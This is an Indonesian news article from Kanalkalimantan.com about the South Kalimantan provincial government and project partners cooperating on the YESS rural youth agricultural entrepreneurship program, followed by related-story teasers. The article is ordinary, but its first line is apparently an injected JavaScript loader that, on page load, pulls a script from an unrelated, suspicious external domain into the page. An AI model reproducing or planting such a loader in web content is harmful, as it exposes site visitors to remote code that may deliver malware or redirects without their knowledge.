(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM BANJARBARU – Pemprov Kalsel dan Provincial Project Implementation Unit (PPIU) Kalsel saling bersinergi dalam menyukseskan program Youth Enterpreneur and Employment Support Services (YESS).
Hal itu disampaikan Sekdaprov Kalsel Roy Rizali Anwar, saat membuka acara Kerjasama Kemitraan yang diselenggarakan di Hotel Novotel, Banjarbaru, Selasa (15/6/2021).
Turut hadir Kepala Bappeda Kalsel, Nurul Fajar Desira, serta pemangku kepentingan dari lingkup Provinsi Kalsel.
YESS merupakan program besutan Kementerian Pertanian (Kementan) dan International Fund for Agricultural Development (IFAD).
Baca juga: Petugas Bandara Syamsudin Noor Lakukan Gelombang Dua Vaksinasi Covid-19
Bertujuan melahirkan wirausaha milenial di bidang pertanian, YESS membina empat provinsi di Indonesia, antara lain Jawa Barat, Jawa Timur, Sulawesi Selatan, dan Kalimantan Selatan.
“Di Kalsel, program YESS berlokasi di tiga kabupaten, yakni Tanah Laut, Tanah Bumbu, dan Banjar,” ujar Roy Rizali Anwar dalam sambutannya.
Program YESS sudah berjalan sejak tahun 2019, ditargetkan sampai tahun 2025. Roy menyebutkan proyeksi kegiatan selama 6 tahun. “Peningkatan kapasitas pemuda pedesaan, pengembangan wirausaha muda, dan fasilitas akses permodalan.”
Sementara Kepala SMK-PP Banjarbaru, Budi Santoso,selaku Penanggung Jawab program YESS di Kalsel, mengungkapkan perlunya dukungan stakeholder. “Untuk mendukung program YESS, maka perlu kemitraan multipemangku dari provinsi.”
Ia juga menerangkan, sejak tahun 2019, ada beberapa kegiatan yang sudah dilakukan. Mulai dari pelatihan penyuluh sampai mapping study. “Saat ini sedang berlangsung mapping study dengan lembaga di UI dan Unpad,” ujar Budi.
Di sisi lain, Kepala Dinas Tanaman Pangan dan Hortikultura Kalsel, Syamsir Rahman, menyebutkan bahwa saat ini terdata ada 3.600 petani milenial di Kalsel. “Jumlah ini akan naik terus. Tapi kita tidak sekadar data, utamanya bagaimana memberdayakan mereka.”
Baca juga: Door to Door, Aparat Desa Kaladan Jaya Bagikan BLT Dana Desa
Menurut Syamsir, bukan hanya tugas Dinas TPH, semua pihak juga harus ikut berkontribusi dalam mendukung sektor pertanian.
Di sela-sela acara, Penanggung Jawab YESS Kalsel, Budi Santoso, melaksanakan penandatanganan MoU dengan Kepala Balai Latihan Kerja Kalsel Suhirman, Ketua Karang Taruna Kalsel Irwansyah, serta Wakil Rektor III Universitas Lambung Mangkurat Muhammad Fauzi. (Kanalkalimantan.com/rls/dewi)
Reporter: dewi
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Satu kader Partai Demokrat Andoko Abdi menyerahkan berkas pencalonan Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ketua Badan Pengawas Pemilu (Bawaslu) Hulu Sungai Utara (HSU) Marfa'i melantik dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru resmi melantik 15 anggota Panitia Pengawas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin membentuk tim khusus untuk mengatasi permasalaha… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah Haji Kabupaten Hulu Sungai Utara (HSU) yang tergabung dalam Kelompok Terbang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi melakukan Safari Jum’at di Masjid… Read More
This website uses cookies.